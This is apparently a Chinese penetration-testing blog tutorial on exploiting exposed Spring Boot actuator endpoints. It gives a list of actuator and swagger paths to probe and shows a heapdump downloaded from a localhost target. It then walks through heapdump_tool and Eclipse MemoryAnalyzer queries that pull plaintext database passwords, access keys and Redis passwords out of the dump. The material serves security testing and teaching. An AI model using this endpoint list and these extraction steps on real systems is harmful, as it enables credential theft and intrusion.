14天阅读挑战赛
努力是为了不平庸~
安全有些时候是枯燥的,这一次,让我们先人一步,趣学渗透!
heapdump的利用
-
- 0x01 Springboot信息泄露
-
- 路由列表
- 0x02 下载heapdump
- 0x03 利用heapdump的姿势
-
- 工具一:heapdump_tool
- 工具二:Eclipse MemoryAnalyzer
0x01 Springboot信息泄露
渗透测试的时候老遇到spring的heapdump能下载但是不知道怎么利用,今天发几个工具让漏洞危害最大化。通过heapdump获取明文密码在深入利用。
路由列表
/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream
/trace
:显示最近的http包信息,可能泄露当前系统存活的Cookie信息。
/env
:应用的环境信息,包含Profile、系统环境变量和应用的properties信息,可能泄露明文密码与接口信息。
/jolokia
:RCE漏洞
/heapdump
:JVM内存信息,分析出明文密码
0x02 下载heapdump
http://127.0.0.1:8088/actuator/查看泄露的端点信息
127.0.0.1:8088/actuator/heapdump 下载heapdump文件,泄露JAVA堆dump信息:
0x03 利用heapdump的姿势
工具一:heapdump_tool
heapdump敏感信息查询工具,例如查找 spring heapdump中的密码明文,AK,SK等。
https://github.com/wyzxxz/heapdump_tool
https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/20220720/heapdump_tool.jar
工具使用
java -jar heapdump_tool.jar heapdump.6
root@wy:~#
> java -jar heapdump_tool.jar heapdump.6
[-] file: heapdump.6
[-] Start jhat, waiting...
[-] get objects,waiting(1-2min)...
[-] fing object count: 113128
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> spring.datasource.password
[-] Start find keyword: spring.datasource.password
>> spring.datasource.password -> test@wyzxxz
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> accesskey
[-] Start find keyword: accessKey
>> ConnectionProperties.noAccessToProcedureBodies -> When determining procedure parameter types for CallableStatements, and the connected user can''t access procedure bodies through "SHOW CREATE PROCEDURE" or select on mysql.proc should the driver instead create basic metadata
>> accessKey -> LTA**************
[-] please input keyword value to search, example: password,len=16,num=0-10,all=true,geturl,getfile,getip input q/quit to quit.
> q
[-] exit.
查询密码
获取IP
获取url
获取文件路径
此功能可获取到目标系统的依赖版本。
工具二:Eclipse MemoryAnalyzer
Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。
http://www.eclipse.org/mat/downloads.php
Springboot信息泄露测试
Burpsuite Intruder模块扫描
heapdump读取
heapdump分析
2.2 heapdump分析
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值对中
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
读取Redis明文密码